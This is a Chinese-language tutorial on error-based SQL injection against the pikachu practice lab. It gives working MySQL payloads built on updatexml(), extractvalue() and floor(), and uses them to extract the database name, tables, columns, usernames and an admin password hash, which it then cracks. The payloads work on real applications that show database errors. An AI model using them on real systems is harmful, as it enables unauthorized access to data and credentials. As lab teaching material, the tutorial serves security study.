SQL注入之基于函数报错的信息获取

人生舞台的大幕随时都可能拉开,关键是你愿意表演,还是选择躲避。

实验环境:

pikachu靶机

基于函数报错的信息获取

1.常用的报错函数updatexml(),extractvalue(),floor()
2.基于函数报错的信息获取(select,insert,update,delete)

技巧思路:

在MySQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息
select/insert/update/delete都可以使用报错来获取信息

背景条件:

后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端

updatexml函数使用方法

updatexml():函数是MySQL对XML文档数据进行查询和修改的XPATH函数
updatexml()函数作用:改变(查找并替换)XML文档中符合条件的节点的值
语法:updatexml(xml_document,xpathstring,new_value)
第一个参数:XML文档的名称
第二个参数:XML文档的位置(路径),通过xpath定位 ,也可以是表达式,那么数据库便会将这个表达式去执行
第三个参数:new_value,string格式,替换查找到的符合条件的
注:xpath定位必须是有效的,否则会发生错误

基于updatexml()报错进行信息获取

基于报错信息获取数据,必须要有报错信息的返回
image

我们使用updatexml()函数构造报错,获取数据库信息
使用concat函数将两个字符串一起打印出来,concat中也可以执行表达式(函数)
0x7e:为~的16进制,其目的为避免信息不被系统去掉,将结果构造出完整的字符串
查看其数据库版本信息:

1
123' and updatexml(1,concat(0x7e,version()),0)#

image
查看当前数据库信息:

1
123' and updatexml(1,concat(0x7e,database()),0)#

image

查看当前数据库第一张表:

1
123' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema="pikachu" limit 0,1)),0)#

查出第一个表为httpinfo
image

依次查询得到的表为httpinfo,membr,message,users,xssblind

查看users表的字段:

1
123' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name="users" limit 0,1)),0)#

image
得到users表第一个字段为id,第二个字段为username,第三个字段为password,第四个为level

查看用户名

1
123' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0)#

得到users表的用户名分别为:admin,pikachu,test
image

查看其对应的密码

1
123' and updatexml(1,concat(0x7e,(select password from users  where username='admin' limit 0,1)),0)#

得到admin用户的经过MD5加密的值,
image
解密为123456
image

extractvalue()函数使用方法

extractvalue()函数:从目标XML中返回包含所查询值的字符串
语法:ExtractValue(xml_document,xpath_string)
第一个参数:XML_document是string格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string(Xpath格式的字符串)
XPath定位必须是有效的,否则会发生错误

基于updatexml()报错进行信息获取

获取数据库信息:

1
1' and extractvalue (0,concat(0x7e,database()))#

image
其后续操作与updatexml函数操作一致,我就不继续写下去啦

floor()函数使用方法

floor():MySQL中用来取整的函数.
使用floor函数必须要满足三个条件:
其SQL语句中存在count函数,rand函数,group by 这三个值才可以使用
其payload为:

1
xxx' and (select 2 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a )#

关于floor报错原理分析请参考此篇文章:
http://blog.51cto.com/chichu/2051375

-------------本文结束感谢您的阅读-------------
0%